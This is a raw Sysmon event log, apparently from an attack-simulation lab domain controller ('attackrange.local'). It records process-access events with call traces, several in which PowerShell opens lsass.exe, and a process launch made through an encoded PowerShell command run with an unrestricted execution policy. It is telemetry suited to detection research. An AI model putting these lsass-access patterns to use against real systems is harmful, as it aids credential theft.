10341000x8000000000000000372Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.893{A5F018FF-2724-5F80-0500-000000007E01}6402972C:\Windows\system32\csrss.exe{A5F018FF-289A-5F80-0B03-000000007E01}5028C:\Windows\system32\chcp.com0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000371Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.893{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000370Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.893{A5F018FF-289A-5F80-0A03-000000007E01}44244940C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-289A-5F80-0B03-000000007E01}5028C:\Windows\system32\chcp.com0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3332f6|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b5560|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b4f07|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+c7dab06b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+c724bef5|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+c724bbc6|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+c7cfd22b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+c720c75c|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+c726ac2b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+c724e290|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+c724e290|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+c724e121|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+c72400a6|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+c724c5d9|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+c724c1cc|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+c724bef5|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+c724bbc6|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+c7cfd22b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+c7232a27|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+c7231ff7 154100x8000000000000000369Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.896{A5F018FF-289A-5F80-0B03-000000007E01}5028C:\Windows\System32\chcp.com10.0.14393.0 (rs1_release.160715-1616)Change CodePage UtilityMicrosoft® Windows® Operating SystemMicrosoft CorporationCHCP.COM"C:\Windows\system32\chcp.com" 65001C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-289A-5F80-95B1-110000000000}0x11b1950HighMD5=BA6FD5B883C0899785D17CEBE66A25F6,SHA256=9FDBDF88CF2BB2794C416E3083553F2898AC9DC92DFAC2478B4C1DF667DF7C74,IMPHASH=4FB30D6E330F3FB3DB61550BD7FA7CCD{A5F018FF-289A-5F80-0A03-000000007E01}4424C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== 10341000x8000000000000000368Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.877{A5F018FF-272B-5F80-0B00-000000007E01}860604C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000367Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.877{A5F018FF-272B-5F80-0B00-000000007E01}860604C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000366Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.877{A5F018FF-272B-5F80-0B00-000000007E01}860604C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000365Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.830{A5F018FF-272B-5F80-0B00-000000007E01}860604C:\Windows\system32\lsass.exe{A5F018FF-289A-5F80-0A03-000000007E01}4424C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000364Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.830{A5F018FF-272B-5F80-0B00-000000007E01}860604C:\Windows\system32\lsass.exe{A5F018FF-289A-5F80-0A03-000000007E01}4424C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x8000000000000000363Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.799{A5F018FF-289A-5F80-0A03-000000007E01}4424C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\__PSScriptPolicyTest_vhf02mdd.po4.ps12020-10-09 09:08:42.799 10341000x8000000000000000362Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.784{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-289A-5F80-0A03-000000007E01}4424C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000361Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.768{A5F018FF-289A-5F80-0703-000000007E01}27882144C:\Windows\system32\conhost.exe{A5F018FF-289A-5F80-0A03-000000007E01}4424C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000360Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.768{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000359Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.768{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000358Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.768{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000357Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.768{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000356Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.768{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000355Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.768{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000354Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.768{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000353Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.752{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000352Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.752{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000351Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.752{A5F018FF-2724-5F80-0500-000000007E01}640656C:\Windows\system32\csrss.exe{A5F018FF-289A-5F80-0A03-000000007E01}4424C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000350Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.752{A5F018FF-289A-5F80-0903-000000007E01}30164776C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-289A-5F80-0A03-000000007E01}4424C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3332f6|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b5560|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b4f07|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+c950ea8b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642